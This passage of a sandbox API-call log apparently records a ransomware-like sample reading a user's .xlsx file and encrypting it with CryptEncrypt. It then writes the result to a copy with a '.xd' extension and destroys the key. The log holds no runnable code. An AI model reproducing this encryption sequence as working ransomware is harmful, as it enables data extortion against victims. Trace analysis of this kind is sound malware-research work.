"c:\\users\\ciihmnxmn6ps\\documents\\4hw9ggih-.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0068.868] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.868] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0068.868] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.868] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.868] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.868] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0068.869] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4hw9ggih-.xlsx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0068.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.871] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0068.871] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x1139, lpOverlapped=0x0) returned 1 [0068.924] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0068.930] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.930] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.930] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.930] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0068.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.931] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0068.931] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.931] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0068.931] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.935] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.935] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.935] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0068.935] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0068.936] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0068.936] CryptGetKeyParam (in: hKey=0x164c7b0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0068.936] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.936] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.936] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.936] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.936] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.936] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.936] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.936] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.937] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.937] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.937] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.937] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.937] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.937] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.939] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.939] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.939] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1139, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x1140) returned 1 [0068.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.940] CharLowerBuffW (in: lpsz="byte[4417]", cchLength=0xa | out: lpsz="byte[4417]") returned 0xa [0068.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.940] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.940] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.940] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.940] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17c1070*, pdwDataLen=0x130e618*=0x1139, dwBufLen=0x1140 | out: pbData=0x17c1070*, pdwDataLen=0x130e618*=0x1140) returned 1 [0068.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.941] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.941] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.941] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.941] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.942] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x1140, lpOverlapped=0x0) returned 1 [0068.943] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.943] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.943] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0068.943] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.943] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.943] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0068.943] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0068.944] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0068.944] CryptDestroyKey (hKey=0x164c7b0) returned 1 [0068.944] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.944] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.944] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.944] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.944] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.944] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.944] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.944] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.945] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.945] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0068.945] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.945] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.946] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.946] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.946] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.946] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.946] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.946] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.946] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.946] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.946] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.948] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.948] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.948] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.948] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.948] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.948] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.948] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.948] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0068.949] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0068.949] CryptReleaseContext (hProv=0x17a9f00, dwFlags=0x0) returned 1 [0068.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.949] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.949] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.949] FreeLibrary (hLibModule=0x74c60000) returned 1 [0068.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.949] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.949] CloseHandle (hObject=0x3bc) returned 1 [0068.949] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.949] CloseHandle (hObject=0x2ac) returned 1 [0068.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.958] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.959] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", nBufferLength=0x7fff, 